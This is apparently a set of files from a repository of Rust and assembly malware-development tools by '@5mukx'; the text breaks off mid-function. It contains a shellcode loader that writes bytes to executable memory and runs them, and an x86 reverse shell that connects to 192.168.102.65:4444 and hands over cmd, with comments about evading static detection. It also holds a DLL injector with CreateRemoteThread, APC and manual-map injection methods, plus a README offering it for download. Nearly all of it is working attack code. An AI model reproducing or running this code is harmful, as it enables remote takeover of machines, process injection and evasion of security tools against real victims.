0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xE8,
0x41, 0x83, 0xC0, 0x61, 0x89, 0x44, 0x24, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48,
0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x54, 0x24, 0x24, 0x66, 0x89, 0x14, 0x48, 0x0F, 0xB7,
0x44, 0x24, 0x24, 0x66, 0x89, 0x44, 0x24, 0x0A, 0xEB, 0x12, 0x48, 0x8B, 0x44, 0x24,
0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x0A,
0x0F, 0xB7, 0x44, 0x24, 0x0A, 0x66, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xB7, 0x44, 0x24,
0x18, 0x0F, 0xB7, 0x4C, 0x24, 0x1C, 0x3B, 0xC1, 0x74, 0x02, 0xEB, 0x05, 0xE9, 0xBC,
0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x04, 0x48, 0x85, 0xC0, 0x75, 0x1C, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C,
0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x0B, 0x48, 0x8B, 0x44, 0x24, 0x28,
0x48, 0x8B, 0x40, 0x30, 0xEB, 0x07, 0xE9, 0x24, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48,
0x83, 0xC4, 0x58, 0xC3,
];
unsafe {
let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);
if mem.is_null() {
return Err(std::io::Error::last_os_error());
}
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
let mut old_protect = 0;
let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);
if result == 0 {
return Err(std::io::Error::last_os_error());
}
let func: extern "C" fn() = std::mem::transmute(mem);
func();
}
Ok(())
}
@@ -0,0 +1,7 @@
[package]
name = "shellcode_extract"
version = "0.1.0"
edition = "2024"
[dependencies]
winapi = { version = "0.3.9", features = ["memoryapi", "winnt", "processthreadsapi", "synchapi"] }
@@ -0,0 +1,222 @@
; Simple reverse shell using x86 assembly !
; Purpose:
; To dynamically resolves APIs to evade static detection and operates in memory, making it suitable for exploitation or payload delivery...
; Warning.. I'm not a pro assembly coder. Mistake can be happend =). Check the code twice. Thank you.
; By @5mukx
BITS 32
section .text
global _start
_start:
; Locate Kernelbase.dll address
XOR ECX, ECX ;zero out ECX
MOV EAX, DWORD [FS:ECX + 0x30]
MOV EAX, [EAX + 0x0c] ;EAX = PEB->Ldr
MOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleList
LODSD ;memory address of the second list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the third list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the fourth list entry structure
MOV EBX, [EAX + 0x10] ;EBX = Base address
; Export Table
MOV EDX, DWORD [EBX + 0x3C] ;EDX = DOS->e_lfanew
ADD EDX, EBX ;EDX = PE Header
MOV EDX, DWORD [EDX + 0x78] ;EDX = Offset export table
ADD EDX, EBX ;EDX = Export table
MOV ESI, DWORD [EDX + 0x20] ;ESI = Offset names table
ADD ESI, EBX ;ESI = Names table
XOR ECX, ECX ;EXC = 0
GetFunction:
INC ECX ; increment counter
LODSD ;Get name offset
ADD EAX, EBX ;Get function name
CMP dword, 0x50746547 ;"PteG"
JNZ SHORT ;jump to GetFunction label if not "GetP"
CMP dword, 0x41636F72 ;"rocA"
JNZ SHORT ;jump to GetFunction label if not "rocA"
CMP dword, 0x65726464 ;"ddre"
JNZ SHORT ;jump to GetFunction label if not "ddre"
MOV ESI, DWORD [EDX + 0x24] ;ESI = Offset ordinals
ADD ESI, EBX ;ESI = Ordinals table
MOV CX, WORD [ESI + ECX * 2] ;CX = Number of function
DEC ECX ;Decrement the ordinal
MOV ESI, DWORD [EDX + 0x1C] ;ESI = Offset address table
ADD ESI, EBX ;ESI = Address table
MOV EDX, DWORD [ESI + ECX * 4] ;EDX = Pointer(offset)
ADD EDX, EBX ;EDX = GetProcAddress
; Get the Address of LoadLibraryA function
XOR ECX, ECX ;ECX = 0
PUSH EBX ;Kernel32 base address
PUSH EDX ;GetProcAddress
PUSH ECX ;0
PUSH 0x41797261 ;"Ayra"
PUSH 0x7262694C ;"rbiL"
PUSH 0x64616F4C ;"daoL"
PUSH ESP ;"LoadLibrary"
PUSH EBX ;Kernel32 base address
MOV ESI, EBX ;save the kernel32 address in esi for later
CALL EDX ;GetProcAddress(LoadLibraryA)
ADD ESP, 0xC ;pop "LoadLibraryA"
POP EDX ;EDX = 0
PUSH EAX ;EAX = LoadLibraryA
PUSH EDX ;ECX = 0
MOV DX, 0x6C6C ;"ll"
PUSH EDX
PUSH 0x642E3233 ;"d.23"
PUSH 0x5F327377 ;"_2sw"
PUSH ESP ;"ws2_32.dll"
CALL EAX ;LoadLibrary("ws2_32.dll")
ADD ESP, 0x10 ;Clean stack
MOV EDX, [ESP + 0x4] ;EDX = GetProcAddress
PUSH 0x61617075 ;"aapu"
SUB word, 0x6161 ;"pu" (remove "aa")
PUSH 0x74726174 ;"trat"
PUSH 0x53415357 ;"SASW"
PUSH ESP ;"WSAStartup"
PUSH EAX ;ws2_32.dll address
MOV EDI, EAX ;save ws2_32.dll to use it later
CALL EDX ;GetProcAddress(WSAStartup)
; Call WSAStartUp
XOR EBX, EBX ;zero out ebx register
MOV BX, 0x0190 ;EAX = sizeof(struct WSAData)
SUB ESP, EBX ;allocate space for the WSAData structure
PUSH ESP ;push a pointer to WSAData structure
PUSH EBX ;Push EBX as wVersionRequested
CALL EAX ;Call WSAStartUp
;Find the address of WSASocketA
ADD ESP, 0x10 ;Align the stack
XOR EBX, EBX ;zero out the EBX register
ADD BL, 0x4 ;add 0x4 at the lower register BL
IMUL EBX, 0x64 ;EBX = 0x190
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61614174 ;"aaAt"
SUB word, 0x6161 ;"At" (remove "aa")
PUSH 0x656b636f ;"ekco"
PUSH 0x53415357 ;"SASW"
PUSH ESP ;"WSASocketA", GetProcAddress 2nd argument
MOV EAX, EDI ;EAX now holds the ws2_32.dll address
PUSH EAX ;push the first argument of GetProcAddress
CALL EDX ;call GetProcAddress
PUSH EDI ;save the ws2_32.dll address to use it later
;call WSASocketA
XOR ECX, ECX ;zero out ECX register
PUSH EDX ;null value for dwFlags argument
PUSH EDX ;zero value since we dont have an existing socket group
PUSH EDX ;null value for lpProtocolInfo
MOV DL, 0x6 ;IPPROTO_TCP
PUSH EDX ;set the protocol argument
INC ECX ;SOCK_STREAM(TCP)
PUSH ECX ;set the type argument
INC ECX ;AF_INET(IPv4)
PUSH ECX ;set the ddress family specification argument
CALL EAX ;call WSASocketA
XCHG EAX, ECX ;save the socket returned from WSASocketA at EAX to ECX in order to use it later
;Find the address of connect
POP EDI ;load previously saved ws2_32.dll address to ECX
ADD ESP, 0x10 ;Align stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x63 ;EBX = 0x18c
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61746365 ;"atce"
SUB word, 0x61 ;"tce" (remove "a")
PUSH 0x6e6e6f63 ;"nnoc"
PUSH ESP ;"connect", second argument of GetProcAddress
PUSH EDI ;ws32_2.dll address, first argument of GetProcAddress
XCHG ECX, EBP
CALL EDX ;call GetProcAddress
;call connect
PUSH 0x4166a8c0 ;sin_addr set to 192.168.102.65. You need to change here ! (Little-Endian format)
PUSH word ;port = 4444
XOR EBX, EBX ;zero out EBX
add BL, 0x2 ;TCP protocol
PUSH word ;push the protocol value on the stack
MOV EDX, ESP ;pointer to sockaddr structure (IP,Port,Protocol)
PUSH byte ;the size of sockaddr - 3rd argument of connect
PUSH EDX ;push the sockaddr - 2nd argument of connect
PUSH EBP ;socket descriptor = 64 - 1st argument of connect
XCHG EBP, EDI
CALL EAX ;execute connect;
;Find the address of CreateProcessA
ADD ESP, 0x14 ;Clean stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x62 ;EBX = 0x190
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61614173 ;"aaAs"
SUB dword, 0x6161 ;"As"
PUSH 0x7365636f ;"seco"
PUSH 0x72506574 ;"rPet"
PUSH 0x61657243 ;"aerC"
PUSH ESP ;"CreateProcessA" - 2nd argument of GetProcAddress
MOV EBP, ESI ;move the kernel32.dll to EBP
PUSH EBP ;kernel32.dll address - 1st argument of GetProcAddress
CALL EDX ;execute GetProcAddress
PUSH EAX ;address of CreateProcessA
LEA EBP, [EAX] ;EBP now points to the address of CreateProcessA
;call CreateProcessA
PUSH 0x61646d63 ;"admc"
SUB word, 0x61 ;"dmc" ( remove a)
MOV ECX, ESP ;ecx now points to "cmd" string
XOR EDX, EDX ;zero out EDX
SUB ESP, 16
MOV EBX, esp ;pointer for ProcessInfo
;STARTUPINFOA struct
PUSH EDI ;hStdError => saved socket
PUSH EDI ;hStdOutput => saved socket
PUSH EDI ;hStdInput => saved socket
PUSH EDX ;lpReserved2 => NULL
PUSH EDX ;cbReserved2 => NULL
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
ROL EAX, 8 ;EAX => 0x00000100
PUSH EAX ;dwFlags => STARTF_USESTDHANDLES 0x00000100
PUSH EDX ;dwFillAttribute => NULL
PUSH EDX ;dwYCountChars => NULL
PUSH EDX ;dwXCountChars => NULL
PUSH EDX ;dwYSize => NULL
PUSH EDX ;dwXSize => NULL
PUSH EDX ;dwY => NULL
PUSH EDX ;dwX => NULL
PUSH EDX ;pTitle => NULL
PUSH EDX ;pDesktop => NULL
PUSH EDX ;pReserved => NULL
XOR EAX, EAX ;zero out EAX
ADD AL, 44 ;cb => 0x44 (size of struct)
PUSH EAX ;eax points to STARTUPINFOA
;ProcessInfo struct
MOV EAX, ESP ;pStartupInfo
PUSH EBX ;pProcessInfo
PUSH EAX ;pStartupInfo
PUSH EDX ;CurrentDirectory => NULL
PUSH EDX ;pEnvironment => NULL
PUSH EDX ;CreationFlags => 0
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
PUSH EAX ;InheritHandles => TRUE => 1
PUSH EDX ;pThreadAttributes => NULL
PUSH EDX ;pProcessAttributes => NULL
PUSH ECX ;pCommandLine => pointer to "cmd"
PUSH EDX ;ApplicationName => NULL
CALL EBP ;execute CreateProcessA
@@ -0,0 +1,56 @@
use std::fs::File;
use std::io::Read;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE};
use std::ptr;
fn main() -> std::io::Result<()> {
println!("[+] Small Program to execute shellcode from bin and execute and display <>");
let mut file = File::open("shell.bin")?;
let mut shellcode = Vec::new();
file.read_to_end(&mut shellcode)?;
print!("let shellcode: [u8; {}] = [", shellcode.len());
for (i, byte) in shellcode.iter().enumerate() {
if i > 0 {
print!(", ");
}
print!("0x{:02x}", byte);
}
println!("];");
// Execute shellcode
unsafe {
let mem = VirtualAlloc(
ptr::null_mut(),
shellcode.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if mem.is_null() {
return Err(std::io::Error::last_os_error());
}
ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
let mut old_protect = 0;
let result = VirtualProtect(
mem,
shellcode.len(),
PAGE_EXECUTE_READWRITE,
&mut old_protect,
);
if result == 0 {
return Err(std::io::Error::last_os_error());
}
let func: extern "C" fn() = std::mem::transmute(mem);
func();
}
Ok(())
}
+41
View File
@@ -0,0 +1,41 @@
## Manifest dependencies for [winapi](https://docs.rs/winapi/latest/winapi/) to test and execute
**Copy the dependencics in Cargo.toml file**
```rust
[dependencies]
winapi = { version = "0.3", features = [
"winuser",
"setupapi",
"dbghelp",
"wlanapi",
"winnls",
"wincon",
"fileapi",
"sysinfoapi",
"fibersapi",
"debugapi",
"winerror",
"wininet",
"winhttp",
"synchapi",
"securitybaseapi",
"wincrypt",
"psapi",
"tlhelp32",
"heapapi",
"shellapi",
"memoryapi",
"processthreadsapi",
"errhandlingapi",
"winbase",
"handleapi",
"synchapi",
] }
ntapi = "0.4"
```
> Tips for Rust Beginners: Copy and save the dependencies in Cargo.toml File. Versions may be different. Just copy the features when testing.
To Go [Back](./README.md).
+38
View File
@@ -0,0 +1,38 @@
[package]
name = "DLL_Injector"
version = "0.1.0"
edition = "2021"
authors = ["5mukx", "https://x.com/5mukx"]
[dependencies]
winapi = { version = "0.3.9", features = [
"winuser",
"setupapi",
"dbghelp",
"wlanapi",
"winnls",
"wincon",
"fileapi",
"sysinfoapi",
"fibersapi",
"debugapi",
"winerror",
"wininet",
"winhttp",
"synchapi",
"securitybaseapi",
"wincrypt",
"psapi",
"tlhelp32",
"heapapi",
"shellapi",
"memoryapi",
"processthreadsapi",
"errhandlingapi",
"winbase",
"handleapi",
"synchapi",
] }
ntapi = "0.4.1"
user32-sys = "0.2.0"
libc = "0.2.171"
+61
View File
@@ -0,0 +1,61 @@
# DLL Injector
A powerful and versatile DLL injector written in rust, designed for injecting dynamic link libraries (DLLs) into running Windows processes. This tool supports multiple injection methods and process targeting by name, making it suitable for advanced users and developers exploring process manipulation.
![PoC](./image1.png)
Download DLL Injector: [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/DLL_Injector)
## Features
- **Multiple DLL Support**: Inject one or more DLLs into a target process in a single execution.
- **Flexible Injection Methods**: Choose between two injection techniques:
- **CRT (CreateRemoteThread)**: Uses `CreateRemoteThread` to load the DLL via `LoadLibraryA`.
- **APC (QueueUserAPC)**: Queues an asynchronous procedure call to all threads of the target process for stealthier injection.
- **Process Name Targeting**: Specify the target process by name (e.g., `Notepad.exe`) instead of PID, with automatic PID resolution.
- **DLL Load Verification**: Checks if the injected DLL is successfully loaded into the target processs module list.
- **Robust Error Handling**: Provides detailed error messages with Windows error codes for troubleshooting.
- **Colored Output**: Uses ANSI color codes for clear, readable logging (DEBUG, INFO, WARN, ERROR).
- **Timeout Protection**: Implements a 30-second timeout for CRT injection to prevent hangs.
- **Resource Management**: Ensures proper cleanup of handles and allocated memory.
## Execution Methods
### Prerequisites
- Required dependencies in `Cargo.toml`:
```rust
[dependencies]
winapi = { version = "0.3", features = ["errhandlingapi", "handleapi", "libloaderapi", "memoryapi", "processthreadsapi", "synchapi", "winnt", "winbase", "tlhelp32", "minwindef"] }
```
## Usage
```powershell
injector.exe <PID> [DLL Path 1] [DLL Path 2] ... [--method CRT|APC]
```
Example:
- Inject one DLL:
```powershell
dll_inject.exe 1234 path\to\dll1.dll
```
- Inject multiple DLLs:
```powershell
dll_inject.exe 1234 dll1.dll dll2.dll
```
- Use APC method:
```powershell
dll_inject.exe 1234 dll1.dll --method APC
```
## Author
By:
- [@5mukx](https://x.com/5mukx)
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

+744
View File
@@ -0,0 +1,744 @@
/*
DLL Injector [Enhanced Version]
Author: @5mukx
*/
use std::env::args;
use std::ffi::CString;
use std::fs::File;
use std::io::Read;
use std::ptr::null_mut;
use winapi::ctypes::c_void;
use winapi::shared::basetsd::ULONG_PTR;
use winapi::shared::minwindef::FALSE;
use winapi::shared::ntdef::NULL;
use winapi::shared::winerror::WAIT_TIMEOUT;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::handleapi::CloseHandle;
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA};
use winapi::um::memoryapi::{ReadProcessMemory, VirtualAllocEx, VirtualFreeEx, WriteProcessMemory};
use winapi::um::processthreadsapi::{
CreateRemoteThread, GetExitCodeThread, OpenProcess, OpenThread, QueueUserAPC,
TerminateThread,
};
use winapi::um::synchapi::WaitForSingleObject;
use winapi::um::tlhelp32::{
CreateToolhelp32Snapshot, Module32First, Module32Next, Process32First, Process32Next,
Thread32First, Thread32Next, MODULEENTRY32, PROCESSENTRY32, TH32CS_SNAPMODULE,
TH32CS_SNAPPROCESS, TH32CS_SNAPTHREAD, THREADENTRY32,
};
use winapi::um::winnt::{
IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER,
IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, IMAGE_NT_HEADERS64, IMAGE_ORDINAL_FLAG64,
IMAGE_SECTION_HEADER, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_SET_CONTEXT,
};
const INVALID_HANDLE_VALUE: *mut c_void = -1isize as *mut c_void;
macro_rules! log {
($level:expr, $msg:expr) => {{
let color = match $level {
"DEBUG" => "\x1b[94m", // Blue
"INFO" => "\x1b[32m", // Green
"WARN" => "\x1b[33m", // Yellow
"ERROR" => "\x1b[31m", // Red
_ => "\x1b[0m", // Reset
};
match $level {
"DEBUG" => println!("{}[DEBUG] {}\x1b[0m", color, $msg),
"INFO" => println!("{}[INFO] {}\x1b[0m", color, $msg),
"WARN" => println!("{}[WARN] {}\x1b[0m", color, $msg),
"ERROR" => println!("{}[ERROR] {}\x1b[0m", color, $msg),
_ => println!("{}{}\x1b[0m", color, $msg),
}
}};
}
// Source: https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Malware_Tips/find_pid_by_name.rs
unsafe fn get_pid(process_name: &str) -> u32 {
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap.is_null() {
log!(
"ERROR",
format!(
"Error while snapshoting processes: Error {}",
GetLastError()
)
);
std::process::exit(0);
}
let mut pid = 0;
let mut result = Process32First(snap, &mut pe) != 0;
while result {
let exe_file = CString::from_vec_unchecked(
pe.szExeFile
.iter()
.map(|&file| file as u8)
.take_while(|&c| c != 0)
.collect::<Vec<u8>>(),
);
if exe_file.to_str().unwrap() == process_name {
pid = pe.th32ProcessID;
break;
}
result = Process32Next(snap, &mut pe) != 0;
}
if pid == 0 {
log!(
"ERROR",
format!(
"Unable to get PID for {}: PROCESS DOESNT EXISTS",
process_name
)
);
std::process::exit(0);
}
CloseHandle(snap);
pid
}
unsafe fn is_module_loaded(pid: u32, dll_path: &str) -> bool {
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
if snapshot == INVALID_HANDLE_VALUE {
log!("ERROR", "Failed to create module snapshot");
return false;
}
let mut module_entry: MODULEENTRY32 = std::mem::zeroed();
module_entry.dwSize = std::mem::size_of::<MODULEENTRY32>() as u32;
if Module32First(snapshot, &mut module_entry) == FALSE {
CloseHandle(snapshot);
log!("ERROR", "Failed to get first module");
return false;
}
let dll_name = std::path::Path::new(dll_path)
.file_name()
.unwrap()
.to_str()
.unwrap()
.to_lowercase();
loop {
let module_name = std::ffi::CStr::from_ptr(module_entry.szModule.as_ptr())
.to_str()
.unwrap()
.to_lowercase();
if module_name == dll_name {
CloseHandle(snapshot);
return true;
}
if Module32Next(snapshot, &mut module_entry) == FALSE {
break;
}
}
CloseHandle(snapshot);
false
}
unsafe fn inject_dll(process: *mut c_void, dll_path: &str, method: &str, pid: u32) -> bool {
let dll_path_cstr = match CString::new(dll_path) {
Ok(path) => path,
Err(_) => {
log!(
"ERROR",
format!("Failed to convert DLL path '{}' to CString", dll_path)
);
return false;
}
};
let dllsize = dll_path.len();
let buffer = VirtualAllocEx(
process,
null_mut(),
dllsize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if buffer.is_null() {
log!(
"ERROR",
format!("Failed to allocate buffer: Error Code {}", GetLastError())
);
return false;
}
let write_process = WriteProcessMemory(
process,
buffer,
dll_path_cstr.as_ptr() as *const c_void,
dllsize,
null_mut(),
);
if write_process == 0 {
log!(
"ERROR",
format!(
"Failed to write DLL path to process memory: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
return false;
}
let kernel32 = GetModuleHandleA("kernel32.dll\0".as_ptr() as *const _);
if kernel32.is_null() {
log!(
"ERROR",
format!(
"Failed to get handle to kernel32.dll: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
return false;
}
let load_library_addr = GetProcAddress(kernel32, "LoadLibraryA\0".as_ptr() as *const _);
if load_library_addr.is_null() {
log!(
"ERROR",
format!(
"Failed to get address of LoadLibraryA: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
return false;
}
let success = if method == "CRT" {
let thread = CreateRemoteThread(
process,
null_mut(),
0,
Some(std::mem::transmute(load_library_addr)),
buffer,
0,
null_mut(),
);
if thread.is_null() {
log!(
"ERROR",
format!(
"Failed to create remote thread: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
return false;
}
let wait_result = WaitForSingleObject(thread, 20000);
if wait_result == WAIT_TIMEOUT {
log!(
"WARN",
"Timeout waiting for thread to complete, terminating it"
);
TerminateThread(thread, 0);
}
let mut exit_code = 0;
GetExitCodeThread(thread, &mut exit_code);
if exit_code == 0x00000103 {
log!("INFO", "Thread still active, terminating it");
TerminateThread(thread, 0);
}
CloseHandle(thread);
true
} else if method == "APC" {
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid);
if snapshot == INVALID_HANDLE_VALUE {
log!("ERROR", "Failed to create thread snapshot for APC");
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
return false;
}
let mut thread_entry: THREADENTRY32 = std::mem::zeroed();
thread_entry.dwSize = std::mem::size_of::<THREADENTRY32>() as u32;
let mut thread_ids: Vec<u32> = Vec::new();
if Thread32First(snapshot, &mut thread_entry) != 0 {
loop {
if thread_entry.th32OwnerProcessID == pid {
thread_ids.push(thread_entry.th32ThreadID);
}
if Thread32Next(snapshot, &mut thread_entry) == 0 {
break;
}
}
}
CloseHandle(snapshot);
for thread_id in thread_ids {
let thread_handle = OpenThread(THREAD_SET_CONTEXT, 0, thread_id);
if thread_handle.is_null() {
log!(
"WARN",
format!(
"Failed to open thread {}: Error Code {}",
thread_id,
GetLastError()
)
);
continue;
}
let apc_result = QueueUserAPC(
Some(std::mem::transmute(load_library_addr)),
thread_handle,
buffer as ULONG_PTR,
);
if apc_result == 0 {
log!(
"WARN",
format!(
"Failed to queue APC for thread {}: Error Code {}",
thread_id,
GetLastError()
)
);
}
CloseHandle(thread_handle);
}
std::thread::sleep(std::time::Duration::from_secs(2));
true
} else if method == "TH" {
let thread_inject_success = thread_hijack_inject(process, dll_path, pid);
if thread_inject_success {
return true;
}
return false;
} else {
log!("ERROR", format!("Unknown injection method: {}", method));
false
};
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
if success && is_module_loaded(pid, dll_path) {
log!(
"INFO",
format!("DLL '{}' successfully loaded into process", dll_path)
);
} else if success {
log!(
"WARN",
format!(
"DLL '{}' not found in process modules after injection",
dll_path
)
);
}
success
}
// newly added test -> hijack injection ! experimental !
unsafe fn thread_hijack_inject(process: *mut c_void, dll_path: &str, _pid: u32) -> bool {
let mut file = match File::open(dll_path) {
Ok(f) => f,
Err(_) => {
log!("ERROR", format!("Failed to open DLL: {}", dll_path));
return false;
}
};
let mut dll_data = Vec::new();
if file.read_to_end(&mut dll_data).is_err() {
log!("ERROR", format!("Failed to read DLL: {}", dll_path));
return false;
}
if dll_data.len() < std::mem::size_of::<IMAGE_DOS_HEADER>() {
log!("ERROR", "DLL too small for DOS header");
return false;
}
let dos_header = &*(dll_data.as_ptr() as *const IMAGE_DOS_HEADER);
if dos_header.e_magic != winapi::um::winnt::IMAGE_DOS_SIGNATURE {
log!("ERROR", "Invalid DOS signature");
return false;
}
if dos_header.e_lfanew as usize >= dll_data.len() {
log!("ERROR", "Invalid e_lfanew");
return false;
}
let nt_headers = &*((dll_data.as_ptr() as usize + dos_header.e_lfanew as usize)
as *const IMAGE_NT_HEADERS64);
if nt_headers.Signature != winapi::um::winnt::IMAGE_NT_SIGNATURE {
log!("ERROR", "Invalid NT signature");
return false;
}
// Step 3: Allocate memory
let image_size = nt_headers.OptionalHeader.SizeOfImage as usize;
let image_base = VirtualAllocEx(
process,
null_mut(),
image_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if image_base.is_null() {
log!(
"ERROR",
format!("Failed to allocate memory: Error {}", GetLastError())
);
return false;
}
let headers_size = nt_headers.OptionalHeader.SizeOfHeaders as usize;
if headers_size > dll_data.len() {
log!("ERROR", "Headers size exceeds DLL data");
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
if WriteProcessMemory(
process,
image_base,
dll_data.as_ptr() as *const c_void,
headers_size,
null_mut(),
) == 0
{
log!(
"ERROR",
format!("Failed to write headers: Error {}", GetLastError())
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let section_header = (nt_headers as *const _ as usize
+ std::mem::size_of::<IMAGE_NT_HEADERS64>())
as *const IMAGE_SECTION_HEADER;
for i in 0..nt_headers.FileHeader.NumberOfSections as isize {
let section = &*section_header.offset(i);
if section.SizeOfRawData > 0 {
if section.PointerToRawData as usize + section.SizeOfRawData as usize > dll_data.len() {
log!("ERROR", format!("Section {} raw data out of bounds", i));
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let section_dest =
(image_base as usize + section.VirtualAddress as usize) as *mut c_void;
if section.VirtualAddress as usize + section.SizeOfRawData as usize > image_size {
log!("ERROR", format!("Section {} exceeds image size", i));
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let section_src =
(dll_data.as_ptr() as usize + section.PointerToRawData as usize) as *const c_void;
if WriteProcessMemory(
process,
section_dest,
section_src,
section.SizeOfRawData as usize,
null_mut(),
) == 0
{
log!(
"ERROR",
format!("Failed to write section {}: Error {}", i, GetLastError())
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
}
}
let delta = (image_base as isize - nt_headers.OptionalHeader.ImageBase as isize) as i64;
if delta != 0 {
let reloc_dir = &nt_headers.OptionalHeader.DataDirectory[5];
if reloc_dir.Size > 0 {
let mut reloc_base = (image_base as usize + reloc_dir.VirtualAddress as usize)
as *mut IMAGE_BASE_RELOCATION;
let mut reloc_offset = 0;
while reloc_offset < reloc_dir.Size {
let reloc = &*reloc_base;
if reloc.VirtualAddress == 0 || reloc.SizeOfBlock == 0 {
break;
}
let num_entries =
(reloc.SizeOfBlock - std::mem::size_of::<IMAGE_BASE_RELOCATION>() as u32) / 2;
let entries = (reloc_base as usize + std::mem::size_of::<IMAGE_BASE_RELOCATION>())
as *mut u16;
for i in 0..num_entries as isize {
let entry = *entries.offset(i);
let reloc_type = entry >> 12;
let offset = (entry & 0xFFF) as u32;
if reloc_type == 10 {
// IMAGE_REL_BASED_DIR64
let reloc_addr = (image_base as usize
+ reloc.VirtualAddress as usize
+ offset as usize) as *mut u64;
if reloc.VirtualAddress as usize + offset as usize >= image_size {
log!("ERROR", "Relocation out of bounds");
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let value = *reloc_addr; // Read first to ensure memory is accessible
*reloc_addr = value + delta as u64;
}
}
reloc_offset += reloc.SizeOfBlock;
reloc_base = (reloc_base as usize + reloc.SizeOfBlock as usize)
as *mut IMAGE_BASE_RELOCATION;
}
}
}
let import_dir = &nt_headers.OptionalHeader.DataDirectory[1];
if import_dir.Size > 0 {
let mut import_desc = (image_base as usize + import_dir.VirtualAddress as usize)
as *mut IMAGE_IMPORT_DESCRIPTOR;
while (*import_desc).Name != 0 {
if (*import_desc).Name as usize >= image_size {
log!("ERROR", "Import descriptor name out of bounds");
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let dll_name_ptr = (image_base as usize + (*import_desc).Name as usize) as *mut c_void;
let dll_name_size = libc::strlen(dll_name_ptr as *const i8) + 1;
let mut dll_name_vec = vec![0u8; dll_name_size];
if ReadProcessMemory(
process,
dll_name_ptr,
dll_name_vec.as_mut_ptr() as *mut c_void,
dll_name_size,
null_mut(),
) == 0
{
log!(
"ERROR",
format!("Failed to read DLL name: Error {}", GetLastError())
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let dll_name = CString::new(dll_name_vec).unwrap();
let dll_handle = LoadLibraryA(dll_name.as_ptr());
if dll_handle.is_null() {
log!(
"ERROR",
format!(
"Failed to load DLL {:?}: Error {}",
dll_name,
GetLastError()
)
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let mut thunk = (image_base as usize + (*import_desc).FirstThunk as usize) as *mut u64;
let mut orig_thunk = if *(*import_desc).u.Characteristics() != 0 {
(image_base as usize + *(*import_desc).u.Characteristics() as usize) as *mut u64
} else {
thunk
};
while *orig_thunk != 0 {
let func_addr = if *orig_thunk & IMAGE_ORDINAL_FLAG64 != 0 {
GetProcAddress(dll_handle, (*orig_thunk & 0xFFFF) as *const i8)
} else {
let import_by_name =
